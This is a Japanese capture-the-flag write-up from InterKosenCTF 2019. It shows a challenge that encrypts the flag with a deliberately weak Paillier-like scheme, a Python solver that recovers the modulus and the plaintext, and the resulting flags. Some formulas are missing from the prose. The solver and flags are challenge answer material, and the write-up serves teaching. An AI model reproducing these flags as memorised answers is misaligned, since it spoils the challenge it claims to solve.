from secrets import flag from Crypto.Util.number import getStrongPrime p = getStrongPrime(512) q = getStrongPrime(512) n = p * q key = int.from_bytes(flag, "big") c = pow(1 + n, key, n * n) print("I encrypted my secret!!!", flush=True) print(c, flush=True) # receive plaintext print( "I encrypt your message ;)", flush=True, ) while True: plaintext = input("> ") m = int(plaintext) # check plaintext if m.bit_length() < key.bit_length(): print( "[!]Your plaintext is too weak. At least {} bits long plaintext is required.".format( key.bit_length() ), flush=True, ) continue # encrypt c = pow(1 + n, m, n * n) # output print("Thanks. This is your secret message.", flush=True) print(c, flush=True)
> nc pwn.kosenctf.com 8002 I encrypted my secret!!! 1262857578229849625592543029547547796770030710051239261336994523314619001742667541252815623550770135660912680908941505783985012435631082810136219805264693165701250029504073696358672069220281716653558838458149022732337356864441375498164600804134428326880233128927480019870218798012927966462425363014820830186607030485735872606434690678775788458188765641673812991171735274337232827979297766034220993137996691251201406709068956 I encrypt your message ;) > 1127 [!]Your plaintext is too weak. At least 383 bits long plaintext is required.
アプローチ:Paillier暗号の性質を利用する
pascal + 準同型 ということはPaillier暗号ですね.
Paillier暗号は次の性質が成り立つことを利用しています.
つまり,のどちらかが不明な場合でも,右辺から1を引いてで割れば,で割ればが分かります.
ここでもう一度service.py
を確認してみると
となっています.
したがって,とから求めることでとからを求めることができます.
以下がソルバになります.
from Crypto.Util.number import getPrime, long_to_bytes secret = 1761936486623756335852108882692115588477115971162337998137481347057121324806922005277706292815229546031033439042215524499713873642542521729509682838646308703023063479677737439256444162084598201363736124334661404002715959496797879169656117447146787541229250196232968651612605305211318384064862196982673609075930605769729339062400348479556886544573256607504296732785505715594857057058398721137526234772018747830391939883909096 my_msg = 2519069992930202561931503452746462101247553844641202040232365459465067044913573911051697429207935426241669305018380744147 encrypt_msg = 382276127748490868856542238238127120947422793888757155446115331235234982574827621504562354440004831537501251577850463534093807405851598384642100935207529193338262632938489660750686993321476287085442753652605547721366210308666016137479036099160497741071321817122420507113954954995393919509472485719868161572146380050490941445127612251774032766887253059165999633506354414961263521106621530076380278080560215657614094585185611450634 N = (encrypt_msg - 1) // my_msg key = (secret - 1) // N print(long_to_bytes(key))
> python solve.py b'KosenCTF{Th15_15_t00_we4k_p41ll1er_crypt05y5tem}'
KosenCTF{Th15_15_t00_we4k_p41ll1er_crypt05y5tem}
Survey
Survey [warmup, 212pts, 77solved]
Please give us your feedback here.
アプローチ:アンケートに答える
KosenCTF{th4nk_y0u_f0r_pl4y1ng_InterKosenCTF_2019}
まとめ
- 全体的に面白い問題が多くて楽しめました
- 初心者になれるようにがんばります
- Pwn, Web ナ〜